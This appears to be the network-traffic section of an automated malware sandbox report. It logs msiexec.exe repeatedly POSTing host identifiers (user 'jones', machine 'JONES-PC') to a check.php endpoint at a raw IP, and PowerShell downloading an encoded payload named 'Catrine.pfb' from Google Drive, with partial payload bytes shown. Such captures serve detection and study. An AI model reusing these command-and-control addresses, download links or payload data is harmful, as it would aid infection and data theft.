Oct 2, 2024 07:20:22.698157072 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:25.272121906 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:23 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:25.272531986 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:20:25.272542000 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:20:25.273087978 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	59110	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:20:25.428327084 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:20:25.433687925 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:20:28.120699883 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:20:25 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:20:28.121135950 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:20:28.121146917 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.217.18.14	443	7408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 05:18:24 UTC	215	OUT	GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Connection: Keep-Alive
2024-10-02 05:18:24 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 02 Oct 2024 05:18:24 GMT Location: https://drive.usercontent.google.com/download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-AjdkBo8IFCx3tbZN86YLAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.217.18.14	443	7408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 05:18:29 UTC	121	OUT	GET /uc?export=download&id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7 HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-02 05:18:30 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 02 Oct 2024 05:18:29 GMT Location: https://drive.usercontent.google.com/download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-kYJxPlj0OAb3IAThFCEXGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	142.250.186.33	443	7408	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 05:18:30 UTC	139	OUT	GET /download?id=1QtOkBJWLLx3DwBCgRL8QZa0hYU0wtSj7&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-02 05:18:33 UTC	4851	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="Catrine.pfb" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 468128 Last-Modified: Mon, 30 Sep 2024 03:52:44 GMT X-GUploader-UploadID: AD-8ljsj19DS8BH25B1LGTGXkbKSGWGEUd_QotDDHk1K8bKiCNE0SfHjib8Gtd2IeGGkzS7qSZfAkVMSTQ Date: Wed, 02 Oct 2024 05:18:33 GMT Expires: Wed, 02 Oct 2024 05:18:33 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=7/JiXg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-02 05:18:33 UTC	4851	IN	Data Raw: 63 51 47 62 36 77 4b 41 69 4c 73 5a 57 51 6f 41 36 77 4b 78 69 33 45 42 6d 77 4e 63 4a 41 54 72 41 6d 75 44 36 77 4b 4e 32 62 6b 4e 43 6d 42 79 36 77 49 44 47 65 73 43 4a 54 71 42 38 55 44 45 57 6f 52 78 41 5a 76 72 41 72 41 46 67 66 46 4e 7a 6a 72 32 36 77 49 79 58 6e 45 42 6d 2b 73 43 49 48 6a 72 41 75 73 63 75 6a 35 67 4e 47 6e 72 41 6d 68 33 63 51 47 62 36 77 49 36 4f 6e 45 42 6d 7a 48 4b 63 51 47 62 36 77 4b 67 4d 49 6b 55 43 33 45 42 6d 2b 73 43 6c 54 62 52 34 6e 45 42 6d 33 45 42 6d 34 50 42 42 48 45 42 6d 2b 73 43 30 4c 36 42 2b 61 65 70 46 51 46 38 7a 4f 73 43 51 78 42 78 41 5a 75 4c 52 43 51 45 36 77 4a 77 2b 6e 45 42 6d 34 6e 44 36 77 4b 6c 57 48 45 42 6d 34 48 44 2b 4f 65 44 41 48 45 42 6d 33 45 42 6d 37 6f 48 73 41 42 72 63 51 47 62 36 77 49 Data Ascii: cQGb6wKAiLsZWQoA6wKxi3EBmwNcJATrAmuD6wKN2bkNCmBy6wIDGesCJTqB8UDEWoRxAZvrArAFgfFNzjr26wIyXnEBm+sCIHjrAuscuj5gNGnrAmh3cQGb6wI6OnEBmzHKcQGb6wKgMIkUC3EBm+sClTbR4nEBm3EBm4PBBHEBm+sC0L6B+aepFQF8zOsCQxBxAZuLRCQE6wJw+nEBm4nD6wKlWHEBm4HD+OeDAHEBm3EBm7oHsABrcQGb6wI
2024-10-02 05:18:33 UTC	4851	IN	Data Raw: 38 39 73 53 4b 76 50 62 45 69 72 7a 74 45 6a 58 50 66 6c 2f 78 41 6b 55 38 45 78 67 58 34 36 79 7a 42 59 30 4c 66 62 39 48 6d 41 61 6b 66 68 71 77 4a 51 30 4c 54 75 58 34 6b 6e 42 33 4c 67 53 7a 50 63 45 44 68 70 4f 4f 34 6d 47 66 58 74 4f 71 32 7a 37 31 71 4c 63 30 61 2b 30 57 71 6c 2f 52 79 65 69 4c 2f 4e 49 52 30 6e 4c 34 30 4c 56 54 6a 5a 32 46 35 71 64 50 42 78 6a 33 78 49 72 55 61 6d 5a 4a 33 70 35 71 32 32 4b 49 52 62 36 59 66 67 46 34 33 58 66 41 72 6b 4b 78 4b 71 33 76 54 55 72 7a 37 53 52 46 65 66 48 72 59 52 4d 39 48 51 66 70 53 4c 32 56 46 6a 55 58 7a 5a 4d 68 6b 45 46 46 79 76 6a 35 4c 35 37 4a 43 42 46 52 54 6a 61 74 4b 54 6a 73 41 33 33 4e 61 50 39 61 51 4a 70 56 31 57 55 2f 4f 4a 48 7a 79 55 4a 6e 65 6b 71 4d 65 52 50 38 64 4f 56 79 4b 4e Data Ascii: 89sSKvPbEirztEjXPfl/xAkU8ExgX46yzBY0Lfb9HmAakfhqwJQ0LTuX4knB3LgSzPcEDhpOO4mGfXtOq2z71qLc0a+0Wql/RyeiL/NIR0nL40LVTjZ2F5qdPBxj3xIrUamZJ3p5q22KIRb6YfgF43XfArkKxKq3vTUrz7SRFefHrYRM9HQfpSL2VFjUXzZMhkEFFyvj5L57JCBFRTjatKTjsA33NaP9aQJpV1WU/OJHzyUJnekqMeRP8dOVyKN
2024-10-02 05:18:33 UTC	143	IN	Data Raw: 4d 50 42 65 65 63 64 6c 5a 5a 75 41 64 75 74 32 67 2f 74 66 32 4b 53 7a 43 59 68 46 30 35 54 39 58 53 51 42 78 72 39 6a 45 6b 68 53 59 4a 2f 38 2f 45 35 58 39 42 35 72 33 32 78 4e 77 43 46 36 37 6c 35 6e 63 79 57 53 50 45 5a 67 74 36 68 4c 77 6f 75 33 2f 4b 4a 6f 4a 52 77 61 6c 46 63 69 43 38 6a 6e 79 31 4b 73 77 58 4d 6a 72 5a 38 41 79 42 53 53 38 4c 36 79 4b 34 69 4a 4d 44 48 70 43 31 6a 4a 78 55 2f 50 72 53 4e 79 33 36 35 Data Ascii: MPBeecdlZZuAdut2g/tf2KSzCYhF05T9XSQBxr9jEkhSYJ/8/E5X9B5r32xNwCF67l5ncyWSPEZgt6hLwou3/KJoJRwalFciC8jny1KswXMjrZ8AyBSS8L6yK4iJMDHpC1jJxU/PrSNy365
2024-10-02 05:18:33 UTC	1325	IN	Data Raw: 33 7a 55 53 39 58 66 31 4e 51 4b 44 31 79 6d 70 33 31 59 59 4e 2f 70 43 30 30 4b 56 53 50 4c 64 77 56 59 44 34 6c 68 32 53 42 2f 4a 34 4f 33 61 36 4b 7a 63 6f 33 71 44 4b 71 37 4f 78 41 43 39 36 51 4a 4c 68 59 72 4d 33 6c 43 61 5a 63 38 45 30 61 68 64 44 76 66 65 2b 59 41 37 70 49 74 35 73 49 37 62 35 51 4e 4d 77 42 45 42 54 4c 39 4b 64 30 46 54 33 47 73 31 64 70 66 4b 6a 37 6e 63 6a 44 54 50 63 4c 67 6b 79 52 2b 62 55 5a 66 6c 2f 4c 58 2f 65 2f 75 6c 59 41 6a 37 59 4d 43 43 2b 4d 61 50 71 61 45 53 77 30 55 73 43 6a 55 6f 31 42 61 62 4f 33 4d 70 66 47 6d 2b 6c 73 5a 42 36 38 48 78 68 6a 6b 66 45 65 37 49 77 75 34 30 70 41 53 51 77 6c 46 6a 70 67 78 31 79 6a 77 70 48 36 68 57 36 44 34 43 30 36 48 56 34 62 64 64 7a 62 6e 4f 71 79 5a 41 37 61 41 6a 6b 68 37 Data Ascii: 3zUS9Xf1NQKD1ymp31YYN/pC00KVSPLdwVYD4lh2SB/J4O3a6Kzco3qDKq7OxAC96QJLhYrM3lCaZc8E0ahdDvfe+YA7pIt5sI7b5QNMwBEBTL9Kd0FT3Gs1dpfKj7ncjDTPcLgkyR+bUZfl/LX/e/ulYAj7YMCC+MaPqaESw0UsCjUo1BabO3MpfGm+lsZB68HxhjkfEe7Iwu40pASQwlFjpgx1yjwpH6hW6D4C06HV4bddzbnOqyZA7aAjkh7
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 34 4c 2b 70 43 37 52 59 36 59 58 6e 52 78 31 50 6e 46 6e 4d 37 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 35 74 45 73 76 42 34 71 6b 6d 50 58 76 38 72 35 63 6a 4d 38 45 42 50 64 72 67 39 6b 46 65 39 77 75 51 30 6c 77 32 68 30 6b 37 50 2f 7a 33 78 49 72 72 53 66 33 38 67 78 31 46 66 64 75 43 4f 73 41 39 4d 66 45 51 6d 4d 4a 46 66 63 61 47 33 53 38 39 4d 52 50 57 76 33 6c 4e 68 58 51 57 4f 6d 59 4f 32 57 43 44 4d 66 6b 68 35 41 57 62 4e 65 44 70 4d 30 42 4e 73 64 68 4f 49 30 73 48 36 41 79 7a 65 44 31 71 4b 4c 6d 62 32 67 52 46 4f 44 65 64 32 32 74 64 56 2f 4c 70 2b 56 43 76 67 6f 2f 54 50 6b 4f 6a 37 57 70 4e 61 37 33 33 57 Data Ascii: q89sSKvPbEirz2xIq89sSKvP4L+pC7RY6YXnRx1PnFnM72xIq89sSKvPbEirz2xIq89sSKvPbEirz2xI5tEsvB4qkmPXv8r5cjM8EBPdrg9kFe9wuQ0lw2h0k7P/z3xIrrSf38gx1FfduCOsA9MfEQmMJFfcaG3S89MRPWv3lNhXQWOmYO2WCDMfkh5AWbNeDpM0BNsdhOI0sH6AyzeD1qKLmb2gRFODed22tdV/Lp+VCvgo/TPkOj7WpNa733W
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 38 4b 35 68 78 6c 67 42 50 63 4c 67 79 6a 74 44 6c 67 4d 70 59 38 57 4b 76 45 78 41 64 39 73 63 79 34 75 72 35 63 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 68 62 61 75 2b 75 4a 4b 5a 6b 2f 69 70 30 4c 66 72 38 2b 75 56 31 33 42 70 6c 63 6f 44 45 4c 56 68 59 54 65 48 79 6e 66 59 74 63 73 42 77 4c 54 56 65 44 76 6e 74 33 42 56 61 31 55 7a 49 4c 56 59 70 30 6e 61 71 6c 57 41 4e 66 39 38 38 58 32 73 38 64 39 72 61 50 77 43 67 73 32 2b 76 31 5a 6f 59 72 72 69 39 71 4d 6a 4f 6a 43 79 4e 48 6a 66 77 79 4f 34 78 51 67 41 6a 34 2f 35 6a 62 58 70 42 42 53 75 64 7a 44 64 50 75 2b 63 57 38 64 76 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 6b 61 71 Data Ascii: 8K5hxlgBPcLgyjtDlgMpY8WKvExAd9scy4ur5cSKvPbEirz2xIq89sSKvPbEirz2xIq89sSKvhbau+uJKZk/ip0Lfr8+uV13BplcoDELVhYTeHynfYtcsBwLTVeDvnt3BVa1UzILVYp0naqlWANf988X2s8d9raPwCgs2+v1ZoYrri9qMjOjCyNHjfwyO4xQgAj4/5jbXpBBSudzDdPu+cW8dvbEirz2xIq89sSKvPbEirz2xIq89sSKvPbEkaq
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 41 30 6c 78 59 31 46 63 57 42 49 58 4d 2b 39 37 51 6a 4c 53 51 38 33 58 76 51 41 57 54 4f 48 66 6b 44 42 35 7a 36 6b 4d 6b 67 30 4c 73 57 6b 4c 5a 56 69 61 49 66 36 4e 53 75 68 42 4c 48 35 32 74 4f 65 7a 34 58 35 4e 63 49 32 76 4f 66 69 44 66 31 63 49 6b 34 41 4a 38 4b 51 37 71 64 30 59 30 6b 54 52 63 50 39 38 53 4b 4e 53 57 58 41 53 46 46 78 59 71 38 2b 63 53 65 6d 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 6a 76 76 6e 4b 49 66 51 4a 72 52 64 5a 41 6d 76 4d 36 76 4a 58 37 67 31 65 7a 61 4c 76 50 62 4c 69 6d 64 49 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 37 75 64 72 4d 55 2f 43 72 39 41 65 4d 43 34 70 52 2f 55 31 72 37 58 31 4a 65 Data Ascii: A0lxY1FcWBIXM+97QjLSQ83XvQAWTOHfkDB5z6kMkg0LsWkLZViaIf6NSuhBLH52tOez4X5NcI2vOfiDf1cIk4AJ8KQ7qd0Y0kTRcP98SKNSWXASFFxYq8+cSemPbEirz2xIq89sSKvPbEirz2xIq89sSKvPbEjvvnKIfQJrRdZAmvM6vJX7g1ezaLvPbLimdIxIq89sSKvPbEirz2xIq89sSKvPbEirz2xIq7udrMU/Cr9AeMC4pR/U1r7X1Je
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 76 4e 70 4e 54 4a 71 5a 51 55 61 46 48 2b 41 57 41 62 74 51 53 37 64 6d 42 73 61 37 4b 42 5a 72 62 66 31 76 64 34 43 35 69 61 46 4f 55 57 6d 79 61 4a 72 34 5a 44 70 31 67 4a 2f 36 34 71 5a 38 4e 6a 69 48 66 62 2b 2b 66 42 2f 6b 6b 55 6a 4a 49 47 75 6b 57 41 4e 65 2f 38 59 58 4f 53 65 2b 6c 36 4e 34 66 65 47 61 75 68 35 2f 36 4a 77 41 6c 39 44 30 61 6f 59 43 47 4e 63 62 33 66 62 50 74 6c 51 51 2f 54 57 2b 34 4d 38 51 34 6a 4a 50 76 31 59 68 56 65 77 35 4c 70 35 39 65 75 52 47 68 64 65 75 6b 6a 54 42 65 69 50 69 50 51 44 49 6c 65 4b 48 52 57 54 4e 5a 48 32 54 37 47 70 4e 61 72 58 47 57 62 4a 74 67 64 62 61 56 31 30 6f 56 47 59 67 78 77 53 59 30 4f 32 33 4c 54 4c 71 41 5a 78 30 4d 31 74 7a 6d 6c 4d 4e 33 73 70 6e 6c 62 4f 45 4a 51 34 32 61 72 57 48 68 44 49 Data Ascii: 